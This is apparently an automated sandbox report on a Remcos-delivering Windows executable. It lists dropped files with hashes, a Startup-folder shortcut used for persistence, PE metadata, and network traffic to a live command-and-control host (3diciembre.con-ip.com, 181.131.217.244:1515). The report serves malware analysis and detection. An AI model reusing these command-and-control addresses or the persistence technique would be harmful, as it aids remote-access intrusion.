.e.9s.._....\|o.V.,...C.:Te......g...Ka....\|..d....;9.[......H....j.g.k.......luq....!.b.b.:W.Oz..b..9.g..3~....2..F..3.~?..^.l..DT..zNu..R.e.$f....S...H.......f...F........x...c...r.Pk.;?.._%.....M...j...h....qs}...1.....v(F.....X!..*...I..e'..[O...(rW ,.9vq...;.>..s....0.....0\|\

C:\Users\user\AppData\Local\Temp\Independently

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	7.99792367407571
Encrypted:	true
SSDEEP:	1536:atz2yevSDMvI5Lx/Q8uTnzLCUjYxVqg5VYgxOz8TCepRRiLgun7TpMnc:acvkb1O8urzLC6aNm8TTpvW7TD
MD5:	F7E35BFD4FA836E2B29743DB6B7242E6
SHA1:	AAFD870B2D62BAA20809A1D170A3BF7AA4D60C00
SHA-256:	6DEDC21C1F4FBD1B98CA7C9C964A4A37755A60FAB376D39E8EF52343888BC5CB
SHA-512:	37F5DED199E3A2F9CD7CE873FE2D022A856B2C1C985F48DF1BEF785327A483324FFA41E1F0C21DEF7BB59B7D80D109E4B57C338A53C63BF2FE2C3409C6259E70
Malicious:	false
Preview:	....5.\{....v/.....s.$N[....W.8...7B.....y..8.Z.2..9i(......M!2.-.......OfXI...F..x4.z..dG(..NV..%[.3?e3...." ........<6........u7...l..0.G..m(kh.ZC$.h.........~-.,8.6K..fH..C..8..{~..-..Kl..B.D.3..d.).@.;......ho..4.2V...wzI^.t.T\.w..;.....)........#...Z.L.....z.Q..PTY....d2....a".....VX,]X..p.K.....D..l..ph...y...z.....Wx..}.........q.M...2NmI....4...F~4b..U...c..UJeT?shu....U.....8HW,.....O.{.../.Yp{);B..JH....<..U(.^....E..o+....)..?..R,.Q..;.......V...b...j.>.G#....Z...g?I.....c42...q.....p)......o...c.........l..<WD...4...W."=.S.=J..;..^....O#..^.q..'....v8....^.F......]..J/.TK...Xs...?v.e.jx4.....3....R.t.w...my.......c..2...9e`..W....f.s.]....L?yAA..u"El=,...UnOH.o..h.;.u2..m-.>............y.V...(..6@..0bo....#y\|T.Q......i..q.!...n.~,.Z..)....;1.K...-.....c}G......D...N3...... ..3..A.\|.82.v......LN.1..e.q.L....@F.j.}...z.v.Z."..X....w0NfA.T.....9..S. [........O.H...eb.0.....+0?..R.;..'.*.>....lD.,...3c....I60...B.,~.

C:\Users\user\AppData\Local\Temp\Karen

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	128000
Entropy (8bit):	6.6823905108067665
Encrypted:	false
SSDEEP:	3072:+fA4lelIJBSLPNGR5yiPlcQ4NvoWV7a5ouYNqnLzAfaBaGZ:+fA+eyVPlcBgtoTqnvAfcaGZ
MD5:	FC98545E276BC0BA559A0D98A374F859
SHA1:	F1BDF1C5112B26B2165057C6FC0F3C00EFD0ECE8
SHA-256:	6203BCB6A49875494CBF42AF8B701D68E29DF5D5A4ECFBE2D5B83B3ED2E56A3F
SHA-512:	00E2A755B77B086233B26F2F39B7B8A0AE660ED1D890691A5E0C619CCB8F810CD91D1B3FF72B07EF65E79710D96EDF766DA6DD62C12E6E64C16767B4410480C9
Malicious:	false
Preview:	?..X..?..;...*@....82..@..?..B@..Ju.M...@..j.X.@...x.....@...x....y@....}....t........@...=.....@...L..:L..uF.L..:..u5.L..:L..u#.L..:L..u..........A....A.......A.......A.......@..@..@...E.....j...P.3..A...3.E..j.j.P..B...}.EA06t........@..3...@.....mA...M...B..3.@.UA...6.E.j.j.P..A..h...j..E.P.....6.f.....pA...F.3...A...A..U.Rj.j...j.P.Q..E..cA...I..E.VW.1.}.W.u..RPQ.V..E._^.gA...I..E.P.E...E...P.u.Q.R..E..sA.....t4HHt.......D....sL....rL........D...5.rL.....I...D...M...j....P...Pj.j..5.rL.....I..D...E...sL.%.......rL...........prL..w.........%D...=.rL.....D....xL....P.....O....D...=.rL.....C...E.P.$~....C...u..u.QQ..xL.."..<....D....C...E....rL..P.M.N.TK...}..HE...E....rL..P.M.N.8K...}..AE....rL....rL........rL...(....E.P.M...K...E..rL.P......E....P.M...J...}...E...E....rL.....P.M...J...E..rL.P.....E....P.M..J....D..j.QQ.BT......F..j.h..K.h.K.S..8.I..3H..j..5.rL...W..&....rL....L..G.....&........P....I..=\|rL...G...C.......G..8E....G...M..:...h.mK..M......M.

C:\Users\user\AppData\Local\Temp\Oe

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	67584
Entropy (8bit):	7.997584177999362
Encrypted:	true
SSDEEP:	1536:osGH+TURUaibHC0skTyauCQ3U3lkkWThcNEsp439Bw92Uk28:JQ+0ibi0XTypCz3OVhSEs27b
MD5:	77E4F81724B2590C5821FAD1104A9C9D
SHA1:	71B19CDFFC9A001C81716236E0BA4F3332EE421E
SHA-256:	68D4EC5EDBD9A43D0536280645C0744C3D0AFDEA5DBBEEB4C82D81E85F0E113B
SHA-512:	CBB5148937753E8450792AB36FA49FB1A38B0EFCD1A7D6E72B62C7F888A04B18044F6C4DA41DCA259E7D37C8E6D7C687F6317BEDB2853A61CDFBBB7CB635CE96
Malicious:	false
Preview:	...@.y.2..w;sgn.A.6!#1k.5oE..PMz.D.n3'....c..O.u...W..qk6...>..&.......j/Hp..R .~.......77....3.<...r....c-/...Q..@{W.!.Oz....iX..,s..&.....4.......L<.U...wa.5.6.^..........`.l.'....f.k.l..q;...BI..+.Q...h)<..AqW..~L.r.........C"}L.1......0}./.}..;../..._......N..$...}.wo.Q....=..jNaMF..Y\.......k...Q.`I..Y.l...T,+..w.&r .q.X.^.xNeM.....H....8.m/...9........F.h....p..p...8..I/N..+...\>....^U..#.....2HJZ.....Xh@.(=t.p.1...Q%..h..[./{T.Hd........$}h..Ac.4.6j..V.F.Z,jz...1.......A..~O0.'hD._.M.8....[[%2]-P.`x0......:p.:4z<.M.q..).E.L...y....>.\]....1!. 3....-C..`..6.G"m}..{@.Hi.#.....D.U/UG..I.x..s.w^Z.:...3<...f....Yf^.q.9k.p..9WXH...Y.!......0.~J=..g.&p.(..M<...[...2CDSA.tW..ue.s.FW.dn..>c...5y..h...%s.....fC...Oyl..hU......X.ax.Z.x..<.U..}. ......5.....Hn...h..n.P../.R.s2<.5.yr..C.^Z.s...y...`..AAx0n.0.[.9.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..

C:\Users\user\AppData\Local\Temp\Sol

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	283648
Entropy (8bit):	6.426582949528721
Encrypted:	false
SSDEEP:	3072:3Dqeb2Xo2IkVvh8p65Nu+dVtqi/x4Rqf21Rgat0g/bZaUAg0FuPOKBNEBNUGXEyi:bb2M8JTDD/xcq21R1p/rAOPOei7TdFK
MD5:	38728077EFB1AAF4A5302EE1B642E8E6
SHA1:	2C6125B8EF7CBF92A4AFECBC81362BF9E112CB11
SHA-256:	4F0274B7C37C160B40B6F4ED1B16D3401685A2D77CC2EB5A6833F5EB211DB8D6
SHA-512:	872D54274C0F2FA6204B354B2AB1F38646D4F208B8578A5A64BED18A216AF2376B86628548918225AE35EA1255CEA0453D88142B5F84015E515DACBDBB3BEFD4
Malicious:	false
Preview:	.M..eT...p..E..0..x3.M...p....t';.....}..............t..E....t.9.u.....2._^]...U..SV..j.[.F.9F.uM...j.X;.r...3.F...W.......Q.....~....Yt..F...t....P.v.W......v..........~._S.t.....Y..t..M.......3.N..F.....F.^[]...U...u..u.j.....]...U...u..u.j.....]...U...u..u.j..o...]...U...u..u.j..[...]...U...u..u.j..G...]...U...u..u.j..3...]...U...u..u.j......]...U...u..u.j......]...U...u..u.j......]...U...u..u.j......]...U...u..u.j......]...U...u..u.j.....]...U...u..u.j.....]...U...u..u.j.....]...U...u..u.j......]...U...u..u.j..k...]...U...u..u.j..W...]...U...u..u.j..C...]...U...u..u.j../...]...U...u..u.j......]...U...u..u.j......]...U...u..u.j......]...U...u..u.j......]...U...u..u.j......]...U...u..u.j.....]...U...u..u.j.....]...U...u..u.j.....]...U...u..u.j..{...]...U..E..M.VQ.@....PQ..P.!....u....t...N...E..F..........N...&..F.....3.^]...U..E.VW.@.....Q..P....u......N...>3._.F.....^]...U....QSV.u.W....^...t..F.....P.......v..N..I..P.....u.P..j..D$.PW.p....\|$.........t..M.V..O.

C:\Users\user\AppData\Local\Temp\Variable

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	45802
Entropy (8bit):	6.930717669424082
Encrypted:	false
SSDEEP:	768:39BSCVoyO15DuOKHnrxbxZiUCu2iPaLTQ7Q1tCwqVLwQVn8qT4O:39BBVgCOa1ZBPaPQaEwo0yv
MD5:	7E3393CAD709862F92A1005BF68355C8
SHA1:	5BED6C4CB4AD2BC266356DC99B122F814800A945
SHA-256:	97697A5494BA0CDFF7BF5F6C68B7BDCB09878F49EC184DE4010D550BE10859CB
SHA-512:	A01C70C99EB9B990BE8E66F97781998043570BB4DE2E789669536403BA8329CDFA889F6485F8FE1422FEAA5F50149CBAE046DA0AFF121115977FAB5FC401AF5F
Malicious:	false
Preview:	.................................................................................................................................................k...................................................................k.......................................................................................................................................W.........................................W....................................................................................?................................................?.......................................................................................................................................................................................................................................................................?..............................................?...........(... ...@..... ........................................................................W.................................W..........................

C:\Users\user\AppData\Local\Temp\Zinc

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	109568
Entropy (8bit):	5.158374147457604
Encrypted:	false
SSDEEP:	1536:6+l6JPTcUNx6/xhgariwYLTN3EfrDWyu0uZo28:X6i/xhgariwYLTNaWy4ZN8
MD5:	1D7B5851C7E933B58F5A4A94E8C2FFF0
SHA1:	35FDBA1E3AEBF7348B4478DEE028904ABA21E4CE
SHA-256:	4D3D063A5A5A079C4D4E73F96E3C9AECDEF3F1A5A16621F28CDBA69DAEE42F4D
SHA-512:	94E20DEE259193D12D01A1188D8FF0C21346C1FF374FCE9C63678C73D5520513F5B5CCD4C0BB6D6AABC29626F9F05EDF184BE65848FFDDEDB3358CB3FA8FF3D9
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Securify360.url

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.997693787752978
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoMERE2J52A3MCT4MD5HCI/y:HRYF5yjoFi232ALBDAI/y
MD5:	EFF2C1717680931BD475642C41E1F819
SHA1:	CD6A7968B515D335FE6310B37D3806F01B1BC30D
SHA-256:	67A61B14EDEA2AD7C7B00B0ACB43C18AB65E636587914407117EDDBF093A16F8
SHA-512:	0D6098CF520868843AC7D5BCCB9206AF4F19F3234D85B2CBF8F6B09D291F1ABB8FE0F31D3BE1BF09F29B499252C16F984FCCD7D8FDAB58587324A1628CAEDEE9
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\Secure360 Innovations\Securify360.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.968381266791556
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	sXpIsdpkzy.exe
File size:	1'304'754 bytes
MD5:	9dcf036916a9158cc7087c80374db9ae
SHA1:	69d9b8ffe2c74adebe1d1dcca6f42cb394e3f045
SHA256:	28773fb2aff96e836707d9ffd5e8aa706d0ce54c956fbee42b9dd9b150e997e8
SHA512:	d4c585730a46f900eb691fbad746e4a7354396cf5372929afdc62198c9a6e0cabf388d1c3c72dcab3b6b07d29f89c63a327a9fb4ad34e8eedb2fc03455e17727
SSDEEP:	24576:KSFcPJBSdw3vTzQc6Uv+wwECbpoZfBlCm7pQU7H6VTPaTsNuloTEd7C7g:RYLhIcp+LNoZJwn2dYNyowH
TLSH:	F15523E789A88C56DED91EF068F098135DB573211AB0C1976270CC5CA8966C2FE6C3F7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	1828206868107060

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Sectigo Public Code Signing CA EV R36, O=Sectigo Limited, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	11/10/2023 20:00:00 11/10/2026 19:59:59
Subject Chain	CN=Anvsoft Inc., O=Anvsoft Inc., S=\u5e7f\u4e1c\u7701, C=CN, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=CN, SERIALNUMBER=91440300678599838F
Version:	3
Thumbprint MD5:	EC7B36F045D3BB302D05569D0BD6531F
Thumbprint SHA-1:	9F99B788DFFFB11844E772AFFEC29DD91B12B8BC
Thumbprint SHA-256:	76526A2214EE71A25AA57B9EAF03D64B0F146BE5562E2568FA089653FE4A07B9
Serial:	6E6AEF9D6F88948F39C9D04ACD49007B

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007F907902BCCBh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007F907902B9ADh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007F907902B99Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007F907902929Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007F907902B671h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007F9079029323h
push 00000020h
pop ebx
cmp ax, bx
jne 00007F907902929Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x494a	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x138862	0x6050
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x494a	0x4a00	bbcd26eabdf77bd97a0a903aba3b24b4	False	0.36602618243243246	data	3.73184182183754	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x105000	0xfd6	0x1000	28cede887af90a64b623434f833b6118	False	0.597900390625	data	5.593755428415073	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x100250	0xdfa	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.946338736724427
RT_ICON	0x10104c	0x5e9	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced	English	United States	0.9900859220092532
RT_ICON	0x101638	0x2a2	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0163204747774481
RT_ICON	0x1018dc	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.042514239218877134
RT_ICON	0x103f44	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.1320921985815603
RT_DIALOG	0x1043ac	0x100	data	English	United States	0.5234375
RT_DIALOG	0x1044ac	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x1045c8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x104628	0x4c	data	English	United States	0.7763157894736842
RT_MANIFEST	0x104674	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-12T17:40:41.645996+0100	2032776	ET MALWARE Remcos 3.x Unencrypted Checkin	1	192.168.2.10	49930	181.131.217.244	1515	TCP
2024-12-12T17:40:45.938918+0100	2032777	ET MALWARE Remcos 3.x Unencrypted Server Response	1	181.131.217.244	1515	192.168.2.10	49930	TCP
2024-12-12T17:40:47.751878+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.10	49944	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 17:40:41.520700932 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:41.645113945 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:41.645210981 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:41.645996094 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:41.765990019 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:45.938918114 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:45.940666914 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:46.060606003 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:46.174544096 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:46.222532034 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:46.369946003 CET	49944	80	192.168.2.10	178.237.33.50
Dec 12, 2024 17:40:46.495271921 CET	80	49944	178.237.33.50	192.168.2.10
Dec 12, 2024 17:40:46.495383978 CET	49944	80	192.168.2.10	178.237.33.50
Dec 12, 2024 17:40:46.495596886 CET	49944	80	192.168.2.10	178.237.33.50
Dec 12, 2024 17:40:46.617094040 CET	80	49944	178.237.33.50	192.168.2.10
Dec 12, 2024 17:40:47.751774073 CET	80	49944	178.237.33.50	192.168.2.10
Dec 12, 2024 17:40:47.751878023 CET	49944	80	192.168.2.10	178.237.33.50
Dec 12, 2024 17:40:47.761841059 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:47.881705999 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:48.763390064 CET	80	49944	178.237.33.50	192.168.2.10
Dec 12, 2024 17:40:48.763515949 CET	49944	80	192.168.2.10	178.237.33.50
Dec 12, 2024 17:40:50.600999117 CET	1515	49930	181.131.217.244	192.168.2.10
Dec 12, 2024 17:40:50.628146887 CET	49930	1515	192.168.2.10	181.131.217.244
Dec 12, 2024 17:40:50.749087095 CET	1515	49930	181.131.217.244	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 12, 2024 17:39:01.090859890 CET	49243	53	192.168.2.10	1.1.1.1
Dec 12, 2024 17:39:01.769763947 CET	53	49243	1.1.1.1	192.168.2.10
Dec 12, 2024 17:40:39.673648119 CET	63645	53	192.168.2.10	1.1.1.1
Dec 12, 2024 17:40:40.660368919 CET	63645	53	192.168.2.10	1.1.1.1
Dec 12, 2024 17:40:41.517803907 CET	53	63645	1.1.1.1	192.168.2.10
Dec 12, 2024 17:40:41.517818928 CET	53	63645	1.1.1.1	192.168.2.10
Dec 12, 2024 17:40:46.212992907 CET	49496	53	192.168.2.10	1.1.1.1
Dec 12, 2024 17:40:46.364586115 CET	53	49496	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 12, 2024 17:39:01.090859890 CET	192.168.2.10	1.1.1.1	0x545c	Standard query (0)	OFfdlkbKbwMNYjhkX.OFfdlkbKbwMNYjhkX	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:40:39.673648119 CET	192.168.2.10	1.1.1.1	0x9575	Standard query (0)	3diciembre.con-ip.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:40:40.660368919 CET	192.168.2.10	1.1.1.1	0x9575	Standard query (0)	3diciembre.con-ip.com	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:40:46.212992907 CET	192.168.2.10	1.1.1.1	0x8e44	Standard query (0)	geoplugin.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 12, 2024 17:39:01.769763947 CET	1.1.1.1	192.168.2.10	0x545c	Name error (3)	OFfdlkbKbwMNYjhkX.OFfdlkbKbwMNYjhkX	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:40:41.517803907 CET	1.1.1.1	192.168.2.10	0x9575	No error (0)	3diciembre.con-ip.com		181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:40:41.517818928 CET	1.1.1.1	192.168.2.10	0x9575	No error (0)	3diciembre.con-ip.com		181.131.217.244	A (IP address)	IN (0x0001)	false
Dec 12, 2024 17:40:46.364586115 CET	1.1.1.1	192.168.2.10	0x8e44	No error (0)	geoplugin.net		178.237.33.50	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

geoplugin.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49944	178.237.33.50	80	6244	C:\Users\user\AppData\Local\Temp\33988\Paintball.com

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 17:40:46.495596886 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Dec 12, 2024 17:40:47.751774073 CET	1171	IN	HTTP/1.1 200 OK date: Thu, 12 Dec 2024 16:40:47 GMT server: Apache content-length: 963 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 